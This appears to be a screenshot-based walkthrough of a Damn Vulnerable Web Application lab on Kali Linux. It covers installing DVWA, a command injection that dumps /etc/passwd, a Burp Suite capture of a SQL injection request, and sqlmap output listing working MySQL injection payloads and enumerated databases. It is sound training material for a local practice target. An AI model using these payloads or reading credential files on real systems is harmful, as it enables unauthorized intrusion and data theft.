

```
kali@kali: ~  
File Actions Edit View Help  
sudo apt install dvwa  
-(kali@kali)-[~]  
$ sudo apt install dvwa  
[sudo] password for kali:  
Error: Unable to locate package dvwa  
  
-(kali@kali)-[~]  
$ wget https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh  
--2024-06-08 08:18:42-- https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh  
Resolving raw.githubusercontent.com (raw.githubusercontent.com) ... 185.199.111.133, 185.199.109.133, 185.199.108.133, ...  
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.  
HTTP request sent, awaiting response ... 200 OK  
Length: 16834 (16K) [text/plain]  
Saving to: 'Install-DVWA.sh'  
  
Install-DVWA.sh      100%[=====>]  16.44K  --.-KB/s    in 0.01s  
  
2024-06-08 08:18:43 (1.29 MB/s) - 'Install-DVWA.sh' saved [16834/16834]  
  
-(kali@kali)-[~]  
$ chmod +x Install-DVWA.sh  
  
-(kali@kali)-[~]  
$ sudo ./Install-DVWA.sh
```

File Actions Edit View Help

Creating process for dvwa.service
NOTICE: Selecting previously unselected package php8.2-fpm.
(Reading database ... 391123 files and directories currently installed.)
Preparing to unpack ... /php8.2-fpm_8.2.18-1_amd64.deb ...
Unpacking php8.2-fpm (8.2.18-1) ...
Selecting previously unselected package dvwa.
Preparing to unpack ... /dvwa_2.2.2-0kali1_all.deb ...
Unpacking dvwa (2.2.2-0kali1) ...
Setting up php8.2-fpm (8.2.18-1) ...

Creating process for dvwa.service
NOTICE: a2enmod proxy_fcgi setenvif
NOTICE: a2enconf php8.2-fpm
NOTICE: You are seeing this message because you have apache2 package installed.

-(kali@kali)-[~]
\$ dvwa-start

Authenticate

Authentication is required to start 'dvwa.service'.

An application is attempting to perform an action that requires privileges. Authentication is required to perform this action.

Password:

Details

Cancel

Authenticate

Welcome :: Damn Vulnerable Web Application

127.0.0.1:42001

Kali Linux | Kali Tools | Kali Docs | Kali Forums | Kali NetHunter | Exploit-DB | Google Hacking DB | OffSec

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Welcome to Damn Vulnerable Web Application!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.

The aim of DVWA is to **practice some of the most common web vulnerabilities**, with various levels of **difficulty**, with a simple straightforward interface.

General Instructions

It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or selecting any module and working up to reach the highest level they can before moving onto the next one. There is not a fixed object to complete a module; however users should feel that they have successfully exploited the system as best as they possible could by using that particular vulnerability.

Please note, there are **both documented and undocumented vulnerability** with this software. This is intentional. You are encouraged to try and discover as many issues as possible.

There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability. There are also additional links for further background reading, which relates to that security issue.

WARNING!

Damn Vulnerable Web Application is damn vulnerable! **Do not upload it to your hosting provider's public html folder or any Internet facing servers**, as they will be compromised. It is recommend using a virtual machine (such as [VirtualBox](#) or [VMware](#)), which is set to NAT networking mode. Inside a guest machine, you can download and install [XAMPP](#) for the web server and database.

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Vulnerability: Command Injection

Ping a device

Enter an IP address:

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.  
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.26 ms  
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.053 ms  
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.054 ms  
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.048 ms  
  
--- 127.0.0.1 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3058ms  
rtt min/avg/max/mdev = 0.048/0.354/1.262/0.524 ms
```

More Information

- <https://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution>
- <http://www.ss64.com/bash/>
- <http://www.ss64.com/int/>
- https://owasp.org/www-community/attacks/Command_injection

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Enter an IP address:

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.  
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.44 ms  
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.047 ms  
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.114 ms  
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.047 ms  
  
--- 127.0.0.1 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3058ms  
rtt min/avg/max/mdev = 0.047/0.412/1.440/0.594 ms  
root:x:0:0:root:/root:/usr/bin/zsh  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin  
apt:x:42:65534:/nonexistent:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin  
mysql:x:100:107:MySQL Server,,:/nonexistent:/bin/false  
tss:x:101:108:TPM software stack,,:/var/lib/tpm:/bin/false  
strongswan:x:102:65534:./var/lib/strongswan:/usr/sbin/nologin  
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin  
redsocks:x:103:109:./var/run/redsocks:/usr/sbin/nologin  
rwhod:x:104:65534:./var/spool/rwho:/usr/sbin/nologin
```

Vulnerability: SQL Injection

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Vulnerability: SQL Injection

User ID:

```
ID: 1  
First name: admin  
Surname: admin
```

More Information

- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://owasp.org/www-community/attacks/SQL_injection
- <https://bobby-tables.com/>

Burp Suite Community Edition v2025.2.4 - Temporary Project

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Settings

Organizer Extensions Learn

Intercept HTTP history WebSockets history Match and replace Proxy settings

Filter settings: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title
1	http://192.168.56.3	GET	/			200	1124	HTML		Metasp
2	http://192.168.56.3	GET	/favicon.ico			404	514	HTML	ico	404 N
3	http://192.168.56.3	GET	/dwva/			302	482	HTML		
4	http://192.168.56.3	GET	/dwva/login.php			200	1636	HTML	php	Damn
5	http://192.168.56.3	POST	/dwva/login.php			302	391	HTML	php	
6	http://192.168.56.3	GET	/dwva/index.php			200	4932	HTML	php	Damn
7	http://192.168.56.3	GET	/dwva/vulnerabilities/sqli/			200	4683	HTML		Damn
8	http://192.168.56.3	GET	/dwva/vulnerabilities/sqli/			200	4684	HTML		Damn
9	http://192.168.56.3	GET	/dwva/vulnerabilities/sqli/?id=1&Submit=Submit			200	4738	HTML		Damn

Request Response

Pretty Raw Hex

```

1 GET /dwva/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
2 Host: 192.168.56.3
3 Accept-Language: en-US,en;q=0.9
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
  mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=
  0.7
7 Referer: http://192.168.56.3/dwva/vulnerabilities/sqli/
8 Accept-Encoding: gzip, deflate, br
9 Cookie: security=high; PHPSESSID=f0e667f71b4ae3b594613f34db7d788e
10 Connection: keep-alive
11
12

```

Inspector

Request attributes 2

Request query parameters 2

Request cookies 2

Request headers 9

Response headers 10

Event log All issues

Memory: 116.3MB Disabled

```
kali@kali: ~/Downloads
```

```
(kali㉿ kali) [~/Downloads]  
$ sqlmap -r request.txt --batch --dbms  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.  
  
[*] starting @ 14:09:28 /2025-05-04/  
  
[14:09:28] [INFO] parsing HTTP request from 'request.txt'  
[14:09:28] [INFO] resuming back-end DBMS 'mysql'  
[14:09:28] [INFO] testing connection to the target URL  
sqlmap resumed the following injection point(s) from stored session:  
--  
Parameter: id (GET)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)  
Payload: id=1' OR NOT '5352c5352'#Submit=Submit  
  
Type: error-based  
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
Payload: id=1' AND ROW(9507,7114)>(SELECT COUNT(*),CONCAT(0x716b6b7171,(SELECT (ELT(9507=9507,1)))) ,0x716a7a7671,FLOOR(RAND(0)*2))X FROM (SELECT 1877 UNION SELECT 4712 UNION SELECT 3216 UNION SELECT 3822)a GROUP BY x)-- zPvr#Submit=Submit  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: id=1' AND (SELECT 1890 FROM (SELECT(SLEEP(5)))hMTL)-- Ncof#Submit=Submit  
  
Type: UNION query  
Title: MySQL UNION query (NULL) - 2 columns  
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x716b6b7171,0x6241736668645a49495152526a597162456661716467754a694e4364734b5048535941764a536942,0x716a7a7671)#Submit=Submit  
  
[14:09:29] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)  
web application technology: Apache 2.2.8, PHP 5.2.4  
back-end DBMS: MySQL >= 4.1  
[14:09:29] [INFO] fetching database names  
available databases [7]:  
[*] dvwa  
[*] information_schema  
[*] metasploit  
[*] mysql  
[*] owasp10  
[*] tikiwiki  
[*] tikiwiki195  
  
[14:09:29] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.3'
```